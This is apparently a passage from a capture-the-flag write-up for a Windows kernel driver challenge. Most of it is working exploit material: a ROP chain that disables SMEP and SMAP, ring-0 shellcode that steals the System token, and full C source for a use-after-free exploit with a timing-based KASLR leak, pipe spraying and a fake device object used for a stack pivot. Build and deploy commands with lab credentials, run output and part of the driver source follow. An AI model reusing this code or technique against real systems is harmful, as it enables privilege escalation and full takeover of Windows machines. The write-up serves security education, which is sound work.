mov rsi, qword [rcx+0x20]
mov rdi, qword [rcx+0x28]
mov r12, qword [rcx+0x30]
mov r13, qword [rcx+0x38]
mov r14, qword [rcx+0x40]
mov r15, qword [rcx+0x48]
ldmxcsr dword [rcx+0x58]
movdqa xmm6, xmmword [rcx+0x60]
movdqa xmm7, xmmword [rcx+0x70]
movdqa xmm8, xmmword [rcx+0x80]
movdqa xmm9, xmmword [rcx+0x90]
movdqa xmm10, xmmword [rcx+0xa0]
movdqa xmm11, xmmword [rcx+0xb0]
movdqa xmm12, xmmword [rcx+0xc0]
movdqa xmm13, xmmword [rcx+0xd0]
movdqa xmm14, xmmword [rcx+0xe0]
movdqa xmm15, xmmword [rcx+0xf0]
mov rdx, qword [rcx+0x50]
mov rbp, qword [rcx+0x18]
mov rsp, qword [rcx+0x10]
jmp rdx
... what?!?. Longjmp??? In the kernel?????? This function loads all the callee saved registers from its first argument, as well as the xmm registers and rip and rsp. None of the offsets for rip or rsp conflict with any fields in our fake device object, giving an easy stack pivot primitive. Even better is that the tail end of the function is a self contained gadget that loads rip, rbp, and rsp without clobbering any other registers. If KCFG was enabled this primitive is still usable, although you would be forced to use JOP and have a kernel stack leak as detailed in this blog post. I know KCFG is disabled because calls to _guard_dispatch_icall have been replaced with KscpCfgDispatchUserCallTargetEsSmep which just jmp to the target directly. I'm not sure why its disabled but I'm not complaining.
Again since SMAP is disabled we can stack pivot to a rop chain stored in userland that triggers a ring 0 shellcode payload:
/* ROPgadget works on windows binaries */
int x = 0;
void *rc[0x100];
rc[x++] = xchg_r11_rax_spadd_60_pop_rbx;
x += 0x60 / 8;
rc[x++] = 0;
rc[x++] = pop_rcx;
rc[x++] = (void *)0x70678;
rc[x++] = mov_cr4_rcx;
rc[x++] = pop_rax;
rc[x++] = pxe_base;
rc[x++] = mov_rax_ptr_rax;
rc[x++] = mov_rax_ptr_rax;
rc[x++] = pop_r8;
rc[x++] = (void *)0x7fffffffffffffffull;
rc[x++] = and_rax_r8;
rc[x++] = mov_r9_rax_mov_rax_r9;
rc[x++] = pop_rax;
rc[x++] = pxe_base;
rc[x++] = mov_rax_ptr_rax;
rc[x++] = mov_ptr_rax_r9;
rc[x++] = kernel_shellcode;
In Windows the root page table address is patched directly into certain functions (just look for functions that pertain to page tables, I used MiCopyTopLevelMappings) so we can read it out directly from the kernel text, unset the NX bit of the top level page table entry that controls user mappings, unset SMAP and SMEP in cr4, then return directly to shellcode stored in userland.
kernel_shellcode:
/* current _ETHREAD */
mov rdx, gs:[0x188]
/* _ETHREAD init stack */
mov rdx, qword ptr [rdx + 0x28]
/* fixup rsp to point to the original stack location */
lea rsp, [rdx - 0x4d8]
/* current _ETHREAD */
mov rax, gs:[0x188]
/* current _EPROCESS */
mov rax, qword ptr [rax + 0x220]
/* System bytes*/
mov rcx, 0x6d6574737953
mov rdx, rax
/* search process links for System */
search:
cmp qword ptr [rdx + 0x338], rcx
je found
mov rdx, qword ptr [rdx + 0x1d8 + 8]
sub rdx, 0x1d8
jmp search
found:
/* copy System TOKEN */
mov rdx, qword ptr [rdx + 0x248]
mov qword ptr [rax + 0x248], rdx
/* return to IopfCallDriver */
mov rax, 0
ret
After returning to IopfCallDriver we never signaled that the paging operation has completed, so the kernel politely hangs the faulting thread in MiWaitForInPageComplete -> KeWaitForSingleObject. Then from a separate thread we wait for long enough that we are sure our TOKEN has been replaced with System TOKEN, and invoke C:\Windows\ReadFlag.exe to get the flag.
zig cc exploit.c exploit.s -o exploit -target x86_64-windows-gnu -DDEBUG=0 -O2 -masm=intel -g3 -flto
sshpass -p Password123_ scp -q exploit lowpriv@172.16.60.132:exploit.exe
sshpass -p Password123_ ssh -q lowpriv@172.16.60.132 exploit.exe || rm exploit
thread handle = 00000000000000C0, tid = 2660
waiting...
hi!
flag?
found = 1
LSTAR is most likely: fffff80288f83200
kbase = fffff802883d0000
hDevice handle = 00000000000000C4
hFile handle = 0000000000004154
avg mapped = 59
avg unmapped = 102
threshold = 80
mapping handle = 0000000000004158
ok: 1
ok: 1
file spray done
setup rop chain
closing
views mapped
kernel_shellcode = 1a102f
starting...
flag?
flag?
flag?
flag?
teemo{i_hate_windows}
done
#Files123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702
#include "handleapi.h"
#include "processthreadsapi.h"
#ifndef _WIN32
#define _WIN32 1
#endif
// clang-format off
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <time.h>
#include <unistd.h>
#include <psapi.h>
#include "FileUtility/interface.h"
// clang-format on
#ifndef DEBUG
#define DEBUG 1
#endif
#if DEBUG
#define BP(n) asm volatile("int3; .rept " #n "; nop; .endr")
#else
#define BP(n)
#endif
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004)
#define ViewShare 1
#define ViewUnmap 2
#define FSCTL_PIPE_SET_HANDLE_ATTRIBUTE 0x11003c
typedef NTSTATUS(NTAPI *NtFsControlFile_t)(
HANDLE FileHandle, HANDLE Event, PIO_APC_ROUTINE ApcRoutine,
PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, ULONG FsControlCode,
PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer,
ULONG OutputBufferLength);
typedef NTSTATUS(NTAPI *NtMapViewOfSection_t)(
HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress,
ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType,
ULONG Win32Protect);
typedef NTSTATUS(NTAPI *NtUnmapViewOfSection_t)(HANDLE ProcessHandle,
PVOID BaseAddress);
typedef NTSTATUS(NTAPI *NtStopProfile_t)(HANDLE ProfileHandle);
typedef struct PIPE_PAIR {
HANDLE r;
HANDLE w;
} PIPE_PAIR;
typedef struct PIPE_CONN {
HANDLE server;
HANDLE client;
} PIPE_CONN;
typedef struct WAIT_CONTEXT_BLOCK {
PVOID unknown[9];
} WAIT_CONTEXT_BLOCK;
typedef struct KDEVICE_QUEUE {
PVOID unknown[5];
} KDEVICE_QUEUE;
typedef struct KDPC {
PVOID unknown[8];
} KDPC;
typedef struct KEVENT {
PVOID unknown[3];
} KEVENT;
typedef SHORT CSHORT;
typedef struct _DRIVER_OBJECT {
CSHORT Type;
CSHORT Size;
void *DeviceObject;
ULONG Flags;
PVOID DriverStart;
ULONG DriverSize;
PVOID DriverSection;
void *DriverExtension;
UNICODE_STRING DriverName;
PUNICODE_STRING HardwareDatabase;
void *FastIoDispatch;
void *DriverInit;
void *DriverStartIo;
void *DriverUnload;
void *MajorFunction[0x1c];
} _DRIVER_OBJECT;
typedef struct _DEVICE_OBJECT {
SHORT Type;
USHORT Size;
LONG ReferenceCount;
struct _DRIVER_OBJECT *DriverObject;
struct _DEVICE_OBJECT *NextDevice;
struct _DEVICE_OBJECT *AttachedDevice;
struct _IRP *CurrentIrp;
void *Timer;
LONG Flags;
LONG Characteristics;
void *Vpb;
PVOID DeviceExtension;
ULONG DeviceType;
CCHAR StackSize;
union {
LIST_ENTRY ListEntry;
WAIT_CONTEXT_BLOCK Wcb;
} Queue;
ULONG AlignmentRequirement;
KDEVICE_QUEUE DeviceQueue;
KDPC Dpc;
ULONG ActiveThreadCount;
PSECURITY_DESCRIPTOR SecurityDescriptor;
KEVENT DeviceLock;
USHORT SectorSize;
USHORT Spare1;
struct _DEVOBJ_EXTENSION *DeviceObjectExtension;
PVOID Reserved;
} _DEVICE_OBJECT;
typedef struct _FILE_OBJECT {
SHORT Type;
SHORT Size;
_DEVICE_OBJECT *DeviceObject;
void *Vpb;
PVOID FsContext;
PVOID FsContext2;
void *SectionObjectPointer;
PVOID PrivateCacheMap;
NTSTATUS FinalStatus;
struct _FILE_OBJECT *RelatedFileObject;
BOOLEAN LockOperation;
BOOLEAN DeletePending;
BOOLEAN ReadAccess;
BOOLEAN WriteAccess;
BOOLEAN DeleteAccess;
BOOLEAN SharedRead;
BOOLEAN SharedWrite;
BOOLEAN SharedDelete;
ULONG Flags;
UNICODE_STRING FileName;
LARGE_INTEGER CurrentByteOffset;
ULONG Waiters;
ULONG Busy;
PVOID LastLock;
KEVENT Lock;
KEVENT Event;
void *CompletionContext;
KSPIN_LOCK IrpListLock;
LIST_ENTRY IrpList;
PVOID FileObjectExtension;
} _FILE_OBJECT;
NtFsControlFile_t pNtFsControlFile = NULL;
NtMapViewOfSection_t pNtFsMapViewOfSection = NULL;
NtStopProfile_t pNtStopProfile = NULL;
void log(const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
}
HANDLE open_driver() {
HANDLE hDevice =
CreateFileW(L"\\\\.\\FileUtility", GENERIC_READ | GENERIC_WRITE, 0, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
log("open_driver failed: %lu\n", GetLastError());
exit(1);
}
log("hDevice handle = %p\n", HandleToLong(hDevice));
return hDevice;
}
HANDLE open_file(const wchar_t *path) {
HANDLE hFile = CreateFileW(path, GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
OPEN_ALWAYS, // open existing, create if missing
FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
log("open_file failed: %lu\n", GetLastError());
exit(1);
}
log("hFile handle = %p\n", HandleToLong(hFile));
fflush(stdout);
return hFile;
}
void set_file_size(HANDLE file, DWORD size) {
LARGE_INTEGER li = {0};
li.QuadPart = size;
BOOL ok = SetFilePointerEx(file, li, NULL, FILE_BEGIN);
if (!ok) {
log("SetFilePointerEx failed: %lu\n", GetLastError());
exit(1);
}
ok = SetEndOfFile(file);
if (!ok) {
log("SetEndOfFile failed: %lu\n", GetLastError());
exit(1);
}
li.QuadPart = 0;
ok = SetFilePointerEx(file, li, NULL, FILE_BEGIN);
if (!ok) {
log("SetFilePointerEx reset failed: %lu\n", GetLastError());
exit(1);
}
}
HANDLE pin_file_object_with_mapping(HANDLE file) {
DWORD size = 0x1000;
set_file_size(file, size);
HANDLE mapping =
CreateFileMappingW(file, NULL, PAGE_READWRITE, 0, size, NULL);
if (!mapping) {
log("CreateFileMappingW failed: %lu\n", GetLastError());
exit(1);
}
log("mapping handle = %p\n", mapping);
fflush(stdout);
return mapping;
}
PIPE_CONN *setup_named_pipes(size_t count, DWORD in_quota, DWORD out_quota) {
PIPE_CONN *pipes = (PIPE_CONN *)calloc(count, sizeof(PIPE_CONN));
if (!pipes) {
log("setup_pipes calloc failed\n");
exit(1);
}
DWORD pid = GetCurrentProcessId();
for (size_t i = 0; i < count; i++) {
wchar_t name[128];
swprintf(name, 128, L"\\\\.\\pipe\\spray_%lu_%zu", pid, i);
pipes[i].server =
CreateNamedPipeW(name, PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, 1,
out_quota, in_quota, 0, NULL);
if (pipes[i].server == INVALID_HANDLE_VALUE) {
log("CreateNamedPipeW failed at %zu: %lu\n", i, GetLastError());
exit(1);
}
pipes[i].client = CreateFileW(name, GENERIC_READ | GENERIC_WRITE, 0, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (pipes[i].client == INVALID_HANDLE_VALUE) {
log("CreateFileW pipe client failed at %zu: %lu\n", i, GetLastError());
exit(1);
}
BOOL ok = ConnectNamedPipe(pipes[i].server, NULL);
if (!ok) {
DWORD err = GetLastError();
if (err != ERROR_PIPE_CONNECTED) {
log("ConnectNamedPipe failed at %zu: %lu\n", i, err);
exit(1);
}
}
}
return pipes;
}
#define FSCTL_PIPE_INTERNAL_WRITE 0x119ff8
PIPE_CONN *setup_unbuffered_pipes(size_t count, DWORD in_quota, DWORD out_quota,
int id) {
PIPE_CONN *pipes = (PIPE_CONN *)calloc(count, sizeof(PIPE_CONN));
if (!pipes) {
log("setup_pipes calloc failed\n");
exit(1);
}
DWORD pid = GetCurrentProcessId();
for (size_t i = 0; i < count; i++) {
wchar_t name[128];
swprintf(name, 128, L"\\\\.\\pipe\\ubuf_spray_%lu_%zu", pid | (id << 16),
i);
pipes[i].server =
CreateNamedPipeW(name, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, 1,
out_quota, in_quota, 0, NULL);
if (pipes[i].server == INVALID_HANDLE_VALUE) {
log("CreateNamedPipeW failed at %zu: %lu\n", i, GetLastError());
exit(1);
}
pipes[i].client =
CreateFileW(name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL);
if (pipes[i].client == INVALID_HANDLE_VALUE) {
log("CreateFileW pipe client failed at %zu: %lu\n", i, GetLastError());
exit(1);
}
BOOL ok = ConnectNamedPipe(pipes[i].server, NULL);
if (!ok) {
DWORD err = GetLastError();
if (err != ERROR_PIPE_CONNECTED && err != ERROR_IO_PENDING) {
log("ConnectNamedPipe failed at %zu: %lu\n", i, err);
exit(1);
}
}
}
return pipes;
}
__attribute__((noinline)) void
spray_unbuffered_pipe_data(HANDLE pipe, void *content, DWORD content_len) {
IO_STATUS_BLOCK iosb = {0};
NTSTATUS st =
pNtFsControlFile(pipe, NULL, NULL, NULL, &iosb, FSCTL_PIPE_INTERNAL_WRITE,
content, content_len, NULL, 0);
/*
STATUS_PENDING is expected/useful: the IRP stays queued.
Do not treat it as failure.
*/
if (!NT_SUCCESS(st) && st != STATUS_PENDING) {
log("spray_unbuffered_pipe_data failed: 0x%08lx\n", st);
exit(1);
}
}
HANDLE g_driver = INVALID_HANDLE_VALUE;
void decrement_file_handle(HANDLE file) {
FILEUTIL_ACCESS_INFORMATION info;
DWORD returned = 0;
BOOL ok =
DeviceIoControl(g_driver, IOCTL_FILEUTIL_METHOD_GET_ACCESS_INFORMATION,
file, 0, &info, sizeof(info), &returned, NULL);
log("ok: %d\n", ok);
}
__attribute__((noinline)) void *map_view_of_section(HANDLE mapping) {
PVOID base = NULL;
SIZE_T view_size = 0; // 0 means map from offset to end of section
LARGE_INTEGER offset = {0};
NTSTATUS st = pNtFsMapViewOfSection(
mapping, // SectionHandle from CreateFileMappingW
(HANDLE)-1, // current process
&base, // receives mapped base
0, // ZeroBits
0, // CommitSize
&offset, // SectionOffset, NULL also okay for zero
&view_size, // in/out view size
ViewUnmap, // do not inherit into child processes
0, // AllocationType
PAGE_READONLY); // PAGE_READONLY / PAGE_READWRITE / etc.
if (!NT_SUCCESS(st)) {
log("NtMapViewOfSection failed: 0x%08lx\n", st);
exit(1);
}
return base;
}
typedef struct {
HANDLE handle;
HANDLE mapping;
void *addr;
} UAF;
UAF *spray_files(int count) {
UAF *files = calloc(count, sizeof(UAF));
DWORD pid = GetCurrentProcessId();
for (int i = 0; i < count; i++) {
wchar_t path[128];
swprintf(path, 128, L"file_spray_%lu_%zu", pid, i);
files[i].handle = open_file(path);
}
BP(1);
for (int i = 0; i < count; i++) {
files[i].mapping = pin_file_object_with_mapping(files[i].handle);
}
for (int i = 0; i < count; i++) {
decrement_file_handle(files[i].handle);
decrement_file_handle(files[i].handle);
}
return files;
}
extern uint64_t measure(void *addr);
void determine_stats(int *threshold) {
int iterations = 100;
uint64_t sum_mapped = 0;
uint64_t sum_unmapped = 0;
void *mapped = &determine_stats;
void *unmapped = (void *)0x1000;
for (int i = 0; i < iterations; i++) {
Yield();
}
for (int i = 0; i < iterations; i++) {
sum_mapped += measure(mapped);
}
for (int i = 0; i < iterations; i++) {
sum_unmapped += measure(unmapped);
}
int avg_mapped = sum_mapped / iterations;
int avg_unmapped = sum_unmapped / iterations;
int t = (avg_unmapped + avg_mapped) / 2;
printf("avg mapped = %d\n", avg_mapped);
printf("avg unmapped = %d\n", avg_unmapped);
printf("threshold = %d\n", t);
if (threshold) {
*threshold = t;
}
}
int classify(void *addr, int threshold, int iterations) {
int mapped = 0;
int unmapped = 0;
for (int i = 0; i < iterations; i++) {
if (measure(addr) <= threshold) {
mapped += 1;
} else {
unmapped += 1;
}
}
return (mapped > unmapped) ? 1 : 0;
}
void test(char *name, void *addr, int threshold) {
printf("== %s\n", name);
printf("%s\n", classify(addr, threshold, 20) ? "MAPPED" : "UNMAPPED");
for (int i = 0; i < 10; i++) {
printf("measure %s = %llu\n", name, measure(addr));
}
}
void *experiment() {
int threshold = 0;
while (1) {
determine_stats(&threshold);
uint64_t lstar_offset = 0xbb3200;
uint64_t kernel_lo = 0xfffff80000000000ull;
uint64_t kernel_hi = 0xfffff80800000000ull;
uint64_t results[0x100];
memset(results, 0, sizeof(results));
int found = 0;
for (uint64_t addr = kernel_lo + lstar_offset; addr < kernel_hi;
addr += 0x10000) {
if (classify((void *)addr, threshold, 20)) {
if (found < sizeof(results) / sizeof(results[0])) {
results[found++] = addr;
}
}
}
log("found = %d\n", found);
for (int i = 0; i < found; i++) {
void *addr = (void *)results[i];
int is_really_mapped = classify(addr, threshold, 100);
if (!is_really_mapped) {
log("initial scan found %llx, rescan says otherwise\n", addr);
results[i] = 0;
continue;
}
int prev_pages_mapped = 0;
prev_pages_mapped += classify(addr - 0x1000, threshold, 100);
prev_pages_mapped += classify(addr - 0x2000, threshold, 100);
prev_pages_mapped += classify(addr - 0x3000, threshold, 100);
if (prev_pages_mapped != 2) {
log("prev_pages_mapped = %d\n", prev_pages_mapped);
log("prev_pages_mapped was not 2, skipping\n");
results[i] = 0;
continue;
}
}
int candidates = 0;
void *candidate = NULL;
for (int i = 0; i < found; i++) {
void *addr = (void *)results[i];
if (addr != NULL) {
candidate = addr;
candidates += 1;
}
}
if (candidates == 1) {
log("LSTAR is most likely: %llx\n", candidate);
return candidate - lstar_offset;
}
}
}
extern void kernel_shellcode();
DWORD WINAPI exploit(void *arg) {
log("hi!\n");
uint64_t rtlclearbits_offset = 0x44a710;
uint64_t ret_offset = 0x44a73a;
uint64_t iop_invalid_device_request_offset = 0x2fb8e0;
uint64_t _internal_longjmp_offset = 0x69cee0;
void *kbase = experiment();
log("kbase = %llx\n", kbase);
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
pNtFsControlFile =
(NtFsControlFile_t)GetProcAddress(ntdll, "NtFsControlFile");
pNtFsMapViewOfSection =
(NtMapViewOfSection_t)GetProcAddress(ntdll, "NtMapViewOfSection");
pNtStopProfile = (NtStopProfile_t)GetProcAddress(ntdll, "NtStopProfile");
g_driver = open_driver();
PIPE_CONN *conns = setup_unbuffered_pipes(0x800, 0x1000, 0x1000, 1);
int uaf_count = 1;
UAF *files = spray_files(uaf_count);
log("file spray done\n");
BYTE content[0x180];
memset(content, 'B', sizeof(content));
BYTE dev[0x200];
memset(dev, 'C', sizeof(dev));
BYTE drv[0x200];
memset(drv, 'D', sizeof(drv));
void *ret = kbase + 0x2fb927;
void *halt = kbase + 0x5818a2;
void *pop_rcx = kbase + 0x20b2ba;
void *mov_cr4_rcx = kbase + 0x4b1ac7;
void *add_rax_rcx = kbase + 0x2b9eac;
void *mov_rax_kthread = kbase + 0x40ec80;
void *mov_rax_ptr_rax = kbase + 0x283c45;
void *xchg_r11_rax_spadd_60_pop_rbx = kbase + 0x963b03;
void *mov_rsp_r11 = kbase + 0x538d8a;
void *push_rax_pop_rcx = kbase + 0x349fd1;
void *pop_rdx = kbase + 0x2497b2;
void *iofcompleterequest = kbase + 0x2fb910;
void *mov_r9_rax_mov_rax_r9 = kbase + 0x430c36;
void *mov_rax_r9 = kbase + 0x270d40;
void *mov_ptr_rax_r8 = kbase + 0x3893e1;
void *pop_r8 = kbase + 0x48af95;
void *zwterminatethread = kbase + 0x69e3a0;
void *and_rax_r8 = kbase + 0x54c7b2;
void *pxe_base = kbase + 0x2c0928;
void *pop_rax = kbase + 0x21ada2;
void *mov_ptr_rax_r9 = kbase + 0x4046d7;
void *mov_cr4_rax = kbase + 0xbd17c3;
int x = 0;
void *rc[0x100];
rc[x++] = xchg_r11_rax_spadd_60_pop_rbx;
x += 0x60 / 8;
rc[x++] = 0;
rc[x++] = pop_rcx;
rc[x++] = (void *)0x70678;
rc[x++] = mov_cr4_rcx;
rc[x++] = pop_rax;
rc[x++] = pxe_base;
rc[x++] = mov_rax_ptr_rax;
rc[x++] = mov_rax_ptr_rax;
rc[x++] = pop_r8;
rc[x++] = (void *)0x7fffffffffffffffull;
rc[x++] = and_rax_r8;
rc[x++] = mov_r9_rax_mov_rax_r9;
rc[x++] = pop_rax;
rc[x++] = pxe_base;
rc[x++] = mov_rax_ptr_rax;
rc[x++] = mov_ptr_rax_r9;
rc[x++] = kernel_shellcode;
log("setup rop chain\n");
// objm header is 0x40, obj header is 0x30
_FILE_OBJECT *fakeFile = (_FILE_OBJECT *)&content[0x70];
_DEVICE_OBJECT *fakeDev = (_DEVICE_OBJECT *)&dev;
_DRIVER_OBJECT *fakeDrv = (_DRIVER_OBJECT *)&drv;
fakeFile->DeviceObject = fakeDev;
fakeFile->Vpb = NULL;
fakeDev->Vpb = NULL;
fakeDev->AttachedDevice = NULL;
fakeDev->DriverObject = fakeDrv;
((uint64_t *)fakeDev)[0] = 0;
((uint64_t *)fakeDev)[0x50 / 8] = (uint64_t)ret;
((uint64_t *)fakeDev)[0x58 / 8] = 0x1F80;
((uint64_t *)fakeDev)[0x10 / 8] = (uint64_t)rc;
fakeDrv->MajorFunction[3] = kbase + _internal_longjmp_offset;
log("closing\n");
for (int i = 0; i < uaf_count; i++) {
CloseHandle(files[i].handle);
}
for (int i = 0; i < 0x800; i++) {
spray_unbuffered_pipe_data(conns[i].client, content, sizeof(content));
}
BP(2);
for (int i = 0; i < uaf_count; i++) {
files[i].addr = map_view_of_section(files[i].mapping);
}
log("views mapped\n");
log("kernel_shellcode = %llx\n", kernel_shellcode);
log("starting...\n");
BP(3);
log("at base: %d\n", *(volatile uint32_t *)files[0].addr);
log("done!\n");
return 0;
}
HANDLE make_exploit_thread() {
DWORD tid = 0;
HANDLE th = CreateThread(NULL, // default security attributes
0, // default stack size
exploit, // thread function
NULL, // argument to thread function
0, // run immediately
&tid); // thread id out
if (!th) {
log("CreateThread failed: %lu\n", GetLastError());
exit(1);
}
log("thread handle = %p, tid = %lu\n", th, tid);
return th;
}
int main() {
HANDLE expl = make_exploit_thread();
log("waiting...\n");
for (int i = 0; i < 5; i++) {
sleep(1);
log("flag?\n");
}
system("C:\\Windows\\ReadFlag.exe");
log("done\n");
while (1)
Yield();
}CFLAGS += -O2 -masm=intel -g3 -flto
qemu: exploit
sshpass -p Password123_ scp -P 3000 -q exploit lowpriv@localhost:exploit.exe
sshpass -p Password123_ ssh -p 3000 -q lowpriv@localhost exploit.exe || rm exploit
remote: exploit
sshpass -p Password123_ scp -q exploit lowpriv@172.16.60.132:exploit.exe
sshpass -p Password123_ ssh -q lowpriv@172.16.60.132 exploit.exe || rm exploit
exploit: exploit.c Makefile
zig cc exploit.c exploit.s -o $@ -target x86_64-windows-gnu $(CFLAGS)123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367
// Based off of `sioctl.c` driver example in the WDK
//
// Include files.
//
#include <ntddk.h> // various NT definitions
#include <string.h>
#include "interface.h"
#define DRIVER_FUNC_INSTALL 0x01
#define DRIVER_FUNC_REMOVE 0x02
#define DRIVER_NAME "FileUtilityDriver"
#define NT_DEVICE_NAME L"\\Device\\FileUtility"
#define DOS_DEVICE_NAME L"\\DosDevices\\FileUtility"
#if DBG
#define FILEUTIL_KDPRINT(_x_) \
DbgPrint("FileUtil: ");\
DbgPrint _x_;
#else
#define FILEUTIL_KDPRINT(_x_)
#endif
//
// Device driver routine declarations.
//
DRIVER_INITIALIZE DriverEntry;
_Dispatch_type_(IRP_MJ_CREATE)
_Dispatch_type_(IRP_MJ_CLOSE)
DRIVER_DISPATCH FileUtilityCreateClose;
_Dispatch_type_(IRP_MJ_DEVICE_CONTROL)
DRIVER_DISPATCH FileUtilityDeviceControl;
DRIVER_UNLOAD FileUtilityUnloadDriver;
VOID
PrintIrpInfo(
PIRP Irp
);
VOID
PrintChars(
_In_reads_(CountChars) PCHAR BufferAddress,
_In_ size_t CountChars
);
#ifdef ALLOC_PRAGMA
#pragma alloc_text( INIT, DriverEntry )
#pragma alloc_text( PAGE, FileUtilityCreateClose)
#pragma alloc_text( PAGE, FileUtilityDeviceControl)
#pragma alloc_text( PAGE, FileUtilityUnloadDriver)
#pragma alloc_text( PAGE, PrintIrpInfo)
#pragma alloc_text( PAGE, PrintChars)
#endif // ALLOC_PRAGMA
NTSTATUS
DriverEntry(
_In_ PDRIVER_OBJECT DriverObject,
_In_ PUNICODE_STRING RegistryPath
)
/*++
Routine Description:
This routine is called by the Operating System to initialize the driver.
It creates the device object, fills in the dispatch entry points and
completes the initialization.
Arguments:
DriverObject - a pointer to the object that represents this device
driver.
RegistryPath - a pointer to our Services key in the registry.
Return Value:
STATUS_SUCCESS if initialized; an error otherwise.
--*/
{
NTSTATUS ntStatus;
UNICODE_STRING ntUnicodeString; // NT Device Name "\Device\FileUtility"
UNICODE_STRING ntWin32NameString; // Win32 Name "\DosDevices\FileUtility"
PDEVICE_OBJECT deviceObject = NULL; // ptr to device object
UNREFERENCED_PARAMETER(RegistryPath);
RtlInitUnicodeString(&ntUnicodeString, NT_DEVICE_NAME);
ntStatus = IoCreateDevice(
DriverObject, // Our Driver Object
0, // We don't use a device extension
&ntUnicodeString, // Device name "\Device\FileUtility"
FILE_DEVICE_UNKNOWN, // Device type
FILE_DEVICE_SECURE_OPEN, // Device characteristics
FALSE, // Not an exclusive device
&deviceObject); // Returned ptr to Device Object
if (!NT_SUCCESS(ntStatus))
{
FILEUTIL_KDPRINT(("Couldn't create the device object\n"));
return ntStatus;
}
//
// Initialize the driver object with this driver's entry points.
//
DriverObject->MajorFunction[IRP_MJ_CREATE] = FileUtilityCreateClose;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = FileUtilityCreateClose;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = FileUtilityDeviceControl;
DriverObject->DriverUnload = FileUtilityUnloadDriver;
//
// Initialize a Unicode String containing the Win32 name
// for our device.
//
RtlInitUnicodeString(&ntWin32NameString, DOS_DEVICE_NAME);
//
// Create a symbolic link between our device name and the Win32 name
//
ntStatus = IoCreateSymbolicLink(
&ntWin32NameString, &ntUnicodeString);
if (!NT_SUCCESS(ntStatus))
{
//
// Delete everything that this routine has allocated.
//
FILEUTIL_KDPRINT(("Couldn't create symbolic link\n"));
IoDeleteDevice(deviceObject);
}
return ntStatus;
}
NTSTATUS
FileUtilityCreateClose(
PDEVICE_OBJECT DeviceObject,
PIRP Irp
)
/*++
Routine Description:
This routine is called by the I/O system when the FILEUTIL is opened or
closed.
No action is performed other than completing the request successfully.
Arguments:
DeviceObject - a pointer to the object that represents the device
that I/O is to be done on.
Irp - a pointer to the I/O Request Packet for this request.
Return Value:
NT status code
--*/
{
UNREFERENCED_PARAMETER(DeviceObject);
PAGED_CODE();
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
VOID
FileUtilityUnloadDriver(
_In_ PDRIVER_OBJECT DriverObject
)
/*++
Routine Description:
This routine is called by the I/O system to unload the driver.
Any resources previously allocated must be freed.
Arguments:
DriverObject - a pointer to the object that represents our driver.
Return Value:
None
--*/
{
PDEVICE_OBJECT deviceObject = DriverObject->DeviceObject;
UNICODE_STRING uniWin32NameString;
PAGED_CODE();
//
// Create counted string version of our Win32 device name.
//
RtlInitUnicodeString(&uniWin32NameString, DOS_DEVICE_NAME);
//
